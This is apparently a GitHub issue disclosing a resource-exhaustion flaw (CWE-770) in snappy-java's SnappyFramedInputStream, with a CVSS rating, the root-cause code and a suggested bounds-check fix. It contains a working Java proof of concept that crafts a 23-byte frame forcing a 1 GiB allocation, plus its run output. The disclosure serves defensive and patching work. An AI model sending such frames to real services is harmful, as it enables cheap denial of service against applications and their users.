Skip to content

snappy-java through 1.1.10.8 Uncontrolled Resource Allocation via SnappyFramedInputStream #730

Description

@August829

Unbounded Allocation from Attacker-Declared Uncompressed Length in SnappyFramedInputStream.ensureBuffer()

Summary

Product org.xerial:snappy-java
Affected version 1.1.10.8 (latest)
Component SnappyFramedInputStream.javaensureBuffer() allocation from Snappy.uncompressedLength(input); getFrameMetaData() bounds only the compressed frame length
Vulnerability type CWE-770 (Allocation of Resources Without Limits or Throttling)
CVSS 3.1 5.3 Medium — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Attack vector Any component decompressing attacker-influenced x-snappy-framed data
Fix ownership Maintainer, in-repo (bound the declared uncompressed length)

Relationship to prior art (read first)

CVE-2023-43642 (fixed in 1.1.10.4) added a missing upper-bound check on the declared uncompressed
length in SnappyInputStream (the block-format class). This report concerns a structurally
separate class, SnappyFramedInputStream
(the x-snappy-framed format), which was not part of
that fix and has no maxChunkSize parameter or any equivalent ceiling at all. It is a sibling
gap on a different code path, not a re-report of CVE-2023-43642.

Trust boundary

Untrusted framed-stream bytes → SnappyFramedInputStream.ensureBuffer() reads an attacker-declared
varint length and allocates a direct ByteBuffer + byte[] of that size, before the frame's CRC32C
is validated. Boundary crossed: untrusted-input → JVM-process-wide direct-memory/heap budget.

Description

ensureBuffer() extracts the declared uncompressed length from the fully attacker-controlled Snappy
length-prefix inside the frame body and uses it, unvalidated, to size the decompression buffers.
getFrameMetaData() bounds only the compressed frame length (~16 MB via the 3-byte chunk header);
the declared uncompressed length is an independent field with no ceiling — not the x-snappy-framed
spec's 65,536-byte-per-chunk limit, not any library cap. The allocation happens before the CRC
check, so a valid checksum cannot filter it out. A ~23-byte frame drives a multi-hundred-MB to
multi-GB allocation.

Root cause (verified against 1.1.10.8 source)

// SnappyFramedInputStream.java — ensureBuffer()
final int uncompressedLength = Snappy.uncompressedLength(input);   // attacker-controlled varint
if (uncompressedLength > uncompressedDirect.capacity()) {
    bufferPool.releaseDirect(uncompressedDirect);
    bufferPool.releaseArray(buffer);
    uncompressedDirect = bufferPool.allocateDirect(uncompressedLength);   // NO UPPER BOUND
    buffer = bufferPool.allocateArray(uncompressedLength);
}

SnappyFramedInputStream exposes no size-limiting constructor/setter (unlike SnappyInputStream's
maxChunkSize), so callers cannot bound this short of wrapping the stream in an external
byte-counting proxy.

Reproduction

  • OS: macOS (Darwin, arm64) · JDK: OpenJDK 25 · Library: snappy-java 1.1.10.8, unmodified.
  • -Xmx64m used only to make the OutOfMemoryError fast/deterministic; a real server's already-
    configured heap/direct-memory budget plays the same role.
import org.xerial.snappy.SnappyFramedInputStream;
import java.io.*;

public class PocFramedOom {
    static byte[] varint(long v){ ByteArrayOutputStream o=new ByteArrayOutputStream();
        while(true){int b=(int)(v&0x7f); v>>>=7; if(v!=0)o.write(b|0x80); else{o.write(b);break;}} return o.toByteArray(); }
    static byte[] craft(long declared){
        byte[] hdr={(byte)0xff,0x06,0x00,0x00,0x73,0x4e,0x61,0x50,0x70,0x59};
        byte[] v=varint(declared);
        byte[] payload=new byte[4+v.length];               // 4-byte CRC placeholder + varint
        System.arraycopy(v,0,payload,4,v.length);
        int len=payload.length;
        byte[] ch={0x00,(byte)(len&0xff),(byte)((len>>8)&0xff),(byte)((len>>16)&0xff)};
        byte[] frame=new byte[hdr.length+ch.length+payload.length]; int p=0;
        System.arraycopy(hdr,0,frame,p,hdr.length); p+=hdr.length;
        System.arraycopy(ch,0,frame,p,ch.length); p+=ch.length;
        System.arraycopy(payload,0,frame,p,payload.length);
        return frame;
    }
    public static void main(String[] a) throws Exception {
        long declared = 1024L*1024*1024;   // 1 GiB declared
        byte[] evil = craft(declared);
        System.out.println("wire bytes=" + evil.length + " declared=" + declared);
        try (SnappyFramedInputStream in = new SnappyFramedInputStream(new ByteArrayInputStream(evil))) {
            in.read();
            System.out.println("UNEXPECTED: allocation succeeded");
        } catch (OutOfMemoryError e) {
            System.out.println("OOM from ensureBuffer(): " + e);
        }
    }
}

Run:

java -Xmx64m -cp classes:. PocFramedOom

Actual evidence

wire bytes=23 declared=1073741824
OOM from ensureBuffer(): java.lang.OutOfMemoryError: Cannot reserve 1073741824 bytes of direct buffer memory (allocated: 229376, limit: 67108864)

A 23-byte frame reliably drives a 1 GiB direct-buffer allocation attempt (amplification > 46,000,000×),
deterministically, before any CRC validation. A control frame produced by SnappyFramedOutputStream
decompresses correctly, proving this is not a general breakage.

Impact

Any application decompressing attacker-supplied x-snappy-framed data (uploads, queue payloads, RPC
bodies) via SnappyFramedInputStream is exposed to a cheap, unauthenticated, single-request
resource-exhaustion primitive. Because -XX:MaxDirectMemorySize/heap is a process-wide budget,
repeated tiny frames can degrade or deny decompression for all concurrent requests on the process.
Availability:Low reflects a per-request allocation failure (an OOM the surrounding framework may
contain as a 500) rather than a guaranteed whole-process crash; annotate that a larger budget lets
the same input commit gigabytes of real memory instead of failing fast.

Remediation

Enforce a ceiling on the declared uncompressed length before allocating, or expose a configurable
maximum comparable to SnappyInputStream's maxChunkSize:

final int uncompressedLength = Snappy.uncompressedLength(input);
if (uncompressedLength < 0 || uncompressedLength > MAX_UNCOMPRESSED_CHUNK_SIZE) {
    throw new IOException("Declared uncompressed chunk size " + uncompressedLength
            + " exceeds allowed maximum");
}

The check must run before any allocation, independent of CRC validation.

References

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions